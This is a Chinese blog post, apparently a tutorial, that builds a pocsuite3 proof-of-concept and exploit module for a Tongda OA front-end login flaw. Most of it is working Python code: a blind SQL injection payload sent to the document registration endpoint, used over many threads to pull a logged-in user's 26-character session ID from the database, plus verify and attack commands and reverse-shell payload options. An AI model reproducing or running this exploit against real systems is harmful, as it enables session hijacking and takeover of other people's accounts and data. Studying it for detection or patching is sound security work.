十 pocsuite3 编写通达OA前台任意用户登录漏洞poc、exp

这里练手写了个最近实战复现成功的洞的poc、exp

通达OA前台任意用户登录漏洞,具体过程可以看下面文章的通达OA前台任意用户登录部分

html sql注入_通达OA前台任意用户登录,文件上传和文件包含,SQL注入复现

整个步骤为

  • /general/document/index.php/recv/register/insert路径存在SQL注入
  • SQL注入获取PHPSESSID
  • 使用获得的PHPSESSID修改cookie进入后台

0x01 poc编写

首先是验证verify部分,通过判断网址加/general/document/index.php/recv/register/insert路径返回码是否为500来判断,但是这样依旧会误报,因为有的网站访问所有路径都是500,应该加上判断文件内容才准确

    def _verify(self):
        result = {}
        path = "/general/document/index.php/recv/register/insert"
        url = self.url + path
        payload = "/general/document/index.php/recv/register/insert"
        resq = requests.get(url, timeout=30)
        if resq.status_code == 500 and "http" in url:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = url
            result['VerifyInfo']['payload'] = payload
        return self.parse_output(result)

因为页面报错是这样的,所以加个页面内容判断即可
在这里插入图片描述

最后改成这样

    def _verify(self):
        result = {}
        path = "/general/document/index.php/recv/register/insert"
        url = self.url + path
        payload = "/general/document/index.php/recv/register/insert"
        resq = requests.get(url, timeout=30)
        if resq.status_code == 500 and "An Error Was Encountered" in resq.text:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = url
            result['VerifyInfo']['payload'] = payload
        return self.parse_output(result)

这样verify部分就完成了
在这里插入图片描述

0x02 exp编写

exp部分用的是别人写的exp脚本改的,原本的exp脚本为,最下面输入网址和第几个用户即可

import requests
import _thread
import time
requests.packages.urllib3.disable_warnings()
UNAME_length = 26
USERUID = []
header = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36',
    "Content-Type": "application/x-www-form-urlencoded", 'Connection': 'close'}
def get_url(url, num, uid):
    global UNAME_length
    global USERUID
    litgh = 48
    right = 120
    tmp = 0
    while litgh <= right:
        mid = int((litgh + right) / 2)
        if tmp == mid:
            break
        else:
            tmp = mid
        flag = run_payload(url, uid, num, mid)
        if flag:
            litgh = mid
        else:
            right = mid
    USERUID[num - 1] = chr(mid)
    print("session: ", num, chr(mid))


def run_payload(url, uid, num, mid):
    try:
        payload = f"""title)values("'"^exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/{uid},1),{num},1))>%3d{mid},1,710)))# =1&_SERVER="""
        req = requests.post(url, headers=header, data=payload, verify=False, timeout=20,
                            allow_redirects=False)
        if req.status_code == 302:
            return True
        elif req.status_code == 500:
            return False
        elif req.status_code != 500:
            return run_payload(url, uid, num, mid)
    except Exception as e:
        return run_payload(url, uid, num, mid)

def get_uname(url, uid):
    USERUID.clear()
    [USERUID.append("") for one in range(0, UNAME_length)]
    for num in range(1, UNAME_length + 1):
        _thread.start_new_thread(get_url, (url, num, uid,))  # 多线程
    tmp = 0
    while 1:  # 等待跑完26位session id
        flag = 0
        for num in range(0, len(USERUID)):
            if USERUID[num] != '':
                flag += 1
        uname = ""
        for num in range(0, len(USERUID)):
            uname += str(USERUID[num])
        if flag != tmp:
            print(f"已完成: {flag}/{UNAME_length}  SID:{uname}  {USERUID} ")
        tmp = flag
        if flag == UNAME_length:
            break
    time.sleep(0.5)
    return uname


def main(url):
    url += "/general/document/index.php/recv/register/insert"
    print(url)
    uid = 1  # 获取第几个用户的session
    uname = get_uname(url, uid - 1)
    print("UNAME = ", uname)


url = "http://test.com"
main(url)

我把它改为了一个class类名字为get_cookie,只需要payload = get_cookie(url).cookies()即可调用该exp并返回获得的cookie,如下所示

class get_cookie(object):
    url = ""
    requests.packages.urllib3.disable_warnings()
    UNAME_length = 26
    USERUID = []
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36',
        "Content-Type": "application/x-www-form-urlencoded", 'Connection': 'close'}


    def __init__(self, url):
        self.url = url

    def get_url(self, url, num, uid):
        self.UNAME_length
        self.USERUID
        litgh = 48
        right = 120
        tmp = 0
        while litgh <= right:
            mid = int((litgh + right) / 2)
            if tmp == mid:
                break
            else:
                tmp = mid
            flag = self.run_payload(url, uid, num, mid)
            if flag:
                litgh = mid
            else:
                right = mid
        self.USERUID[num - 1] = chr(mid)
        # print("session: ", num, chr(mid))

    def run_payload(self, url, uid, num, mid):
        try:
            payload = f"""title)values("'"^exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/{uid},1),{num},1))>%3d{mid},1,710)))# =1&_SERVER="""
            req = requests.post(url, headers=self.header, data=payload, verify=False, timeout=20,
                                allow_redirects=False)
            if req.status_code == 302:
                return True
            elif req.status_code == 500:
                return False
            elif req.status_code != 500:
                return self.run_payload(url, uid, num, mid)
        except Exception as e:
            return self.run_payload(url, uid, num, mid)

    def get_uname(self, url, uid):
        self.USERUID.clear()
        [self.USERUID.append("") for one in range(0, self.UNAME_length)]
        for num in range(1, self.UNAME_length + 1):
            _thread.start_new_thread(self.get_url, (url, num, uid,))  # 多线程
        tmp = 0
        while 1:  # 等待跑完26位session id
            flag = 0
            for num in range(0, len(self.USERUID)):
                if self.USERUID[num] != '':
                    flag += 1
            uname = ""
            for num in range(0, len(self.USERUID)):
                uname += str(self.USERUID[num])
            if flag != tmp:
                # print(f"已完成: {flag}/{self.UNAME_length}  SID:{uname}  {self.USERUID} ")
                print("[+] "+uname)
            tmp = flag
            if flag == self.UNAME_length:
                break
        time.sleep(0.5)
        return uname

    def cookies(self):
        path = "/general/document/index.php/recv/register/insert"
        self.url += path
        uid = 1  # 获取第几个用户的session
        uname = self.get_uname(self.url, uid - 1)
        return uname

那么attack部分就非常简单了

    def _attack(self):
        result = {}
        url = self.url
        payload = get_cookie(url).cookies()
        if len(payload) == 26:
        	result['VerifyInfo'] = {}
            # result['VerifyInfo']['URL'] = url
            # result['VerifyInfo']['payload'] = payload
        return self.parse_output(result)

直接调用就可以获得cookie
在这里插入图片描述

0x03 整合及使用

放在该路径即可
在这里插入图片描述
然后就可以调用了

python .\cli.py -u http://test.com -r .\pocs\tdoa_front_sql.py --verify
python .\cli.py -u http://test.com -r .\pocs\tdoa_front_sql.py --attack

代码部分

from collections import OrderedDict
from urllib.parse import urljoin
import _thread
import time
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY


class DemoPOC(POCBase):
    vulID = '1.1'
    version = '1.1'
    author = ['1.1']
    vulDate = '1.1'
    createDate = '1.1'
    updateDate = '1.1'
    references = ['1.1']
    name = '通达OA'
    appPowerLink = '通达OA'
    appName = '通达OA'
    appVersion = '通达OA'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''
        通达oa前台存在SQL注入可获取用户session,伪造session登录进入后台
    '''
    samples = []
    category = POC_CATEGORY.EXPLOITS.REMOTE
    
    def _options(self):
        o = OrderedDict()
        payload = {
            "nc": REVERSE_PAYLOAD.NC,
            "bash": REVERSE_PAYLOAD.BASH,
        }
        o["command"] = OptDict(selected="bash", default=payload)
        return o

    def _verify(self):
        result = {}
        path = "/general/document/index.php/recv/register/insert"
        url = self.url + path
        payload = "/general/document/index.php/recv/register/insert"
        resq = requests.get(url, timeout=30)
        if resq.status_code == 500 and "http" in url:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = url
            result['VerifyInfo']['payload'] = payload
        return self.parse_output(result)

    def _attack(self):
        result = {}
        url = self.url
        payload = get_cookie(url).cookies()
        if len(payload) == 26:
        	result['VerifyInfo'] = {}
            # result['VerifyInfo']['URL'] = url
            # result['VerifyInfo']['payload'] = payload
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


class get_cookie(object):
    url = ""
    requests.packages.urllib3.disable_warnings()
    UNAME_length = 26
    USERUID = []
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36',
        "Content-Type": "application/x-www-form-urlencoded", 'Connection': 'close'}


    def __init__(self, url):
        self.url = url

    def get_url(self, url, num, uid):
        self.UNAME_length
        self.USERUID
        litgh = 48
        right = 120
        tmp = 0
        while litgh <= right:
            mid = int((litgh + right) / 2)
            if tmp == mid:
                break
            else:
                tmp = mid
            flag = self.run_payload(url, uid, num, mid)
            if flag:
                litgh = mid
            else:
                right = mid
        self.USERUID[num - 1] = chr(mid)
        # print("session: ", num, chr(mid))

    def run_payload(self, url, uid, num, mid):
        try:
            payload = f"""title)values("'"^exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/{uid},1),{num},1))>%3d{mid},1,710)))# =1&_SERVER="""
            req = requests.post(url, headers=self.header, data=payload, verify=False, timeout=20,
                                allow_redirects=False)
            if req.status_code == 302:
                return True
            elif req.status_code == 500:
                return False
            elif req.status_code != 500:
                return self.run_payload(url, uid, num, mid)
        except Exception as e:
            return self.run_payload(url, uid, num, mid)

    def get_uname(self, url, uid):
        self.USERUID.clear()
        [self.USERUID.append("") for one in range(0, self.UNAME_length)]
        for num in range(1, self.UNAME_length + 1):
            _thread.start_new_thread(self.get_url, (url, num, uid,))  # 多线程
        tmp = 0
        while 1:  # 等待跑完26位session id
            flag = 0
            for num in range(0, len(self.USERUID)):
                if self.USERUID[num] != '':
                    flag += 1
            uname = ""
            for num in range(0, len(self.USERUID)):
                uname += str(self.USERUID[num])
            if flag != tmp:
                # print(f"已完成: {flag}/{self.UNAME_length}  SID:{uname}  {self.USERUID} ")
                print("[+] "+uname)
            tmp = flag
            if flag == self.UNAME_length:
                break
        time.sleep(0.5)
        return uname

    def cookies(self):
        path = "/general/document/index.php/recv/register/insert"
        self.url += path
        uid = 1  # 获取第几个用户的session
        uname = self.get_uname(self.url, uid - 1)
        return uname


register_poc(DemoPOC)
  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值